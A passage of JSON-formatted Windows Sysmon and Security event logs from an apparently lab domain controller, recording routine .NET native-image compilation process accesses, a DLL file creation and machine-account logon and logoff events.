C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:09.151","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42FD-5F2D-0000-0010BD020F00}","TargetProcessId":"4556","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7802,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:09.276\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42F6-5F2D-0000-0010B6B10E00}\r\nTargetProcessId: 1324\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:09.276","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42F6-5F2D-0000-0010B6B10E00}","TargetProcessId":"1324","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7803,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:09.276\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42F6-5F2D-0000-0010B6B10E00}\r\nTargetProcessId: 1324\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:09.276","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42F6-5F2D-0000-0010B6B10E00}","TargetProcessId":"1324","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":222287,"ProcessID":860,"ThreadID":2272,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0xF060C\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0xf060c","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 12:03:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":222288,"ProcessID":860,"ThreadID":2272,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0xF060C\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{E997D21B-1523-EC43-74FD-56C741CC408F}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t::1\r\n\tSource Port:\t\t51557\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0xf060c","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{E997D21B-1523-EC43-74FD-56C741CC408F}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"::1","IpPort":"51557","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 12:03:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":222289,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0xF060C\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0xf060c","LogonType":"3","EventReceivedTime":"2020-08-07 12:03:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7804,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:09.357\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42FD-5F2D-0000-00108B050F00}\r\nTargetProcessId: 1324\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:09.357","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42FD-5F2D-0000-00108B050F00}","TargetProcessId":"1324","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7805,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:03:09.541\r\nProcessGuid: {90617006-42FD-5F2D-0000-00108B050F00}\r\nProcessId: 1324\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\52c-0\\System.Reflection.Context.dll\r\nCreationUtcTime: 2020-08-07 12:03:09.541","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:03:09.541","ProcessGuid":"{90617006-42FD-5F2D-0000-00108B050F00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\52c-0\\System.Reflection.Context.dll","CreationUtcTime":"2020-08-07 12:03:09.541","EventReceivedTime":"2020-08-07 12:03:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7806,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:09.697\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42FD-5F2D-0000-001068090F00}\r\nTargetProcessId: 3148\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:09.697","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42FD-5F2D-0000-001068090F00}","TargetProcessId":"3148","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7807,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:09.697\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42FD-5F2D-0000-001068090F00}\r\nTargetProcessId: 3148\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:09.697","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42FD-5F2D-0000-001068090F00}","TargetProcessId":"3148","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7808,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:09.807\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42FD-5F2D-0000-001068090F00}\r\nTargetProcessId: 3148\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: 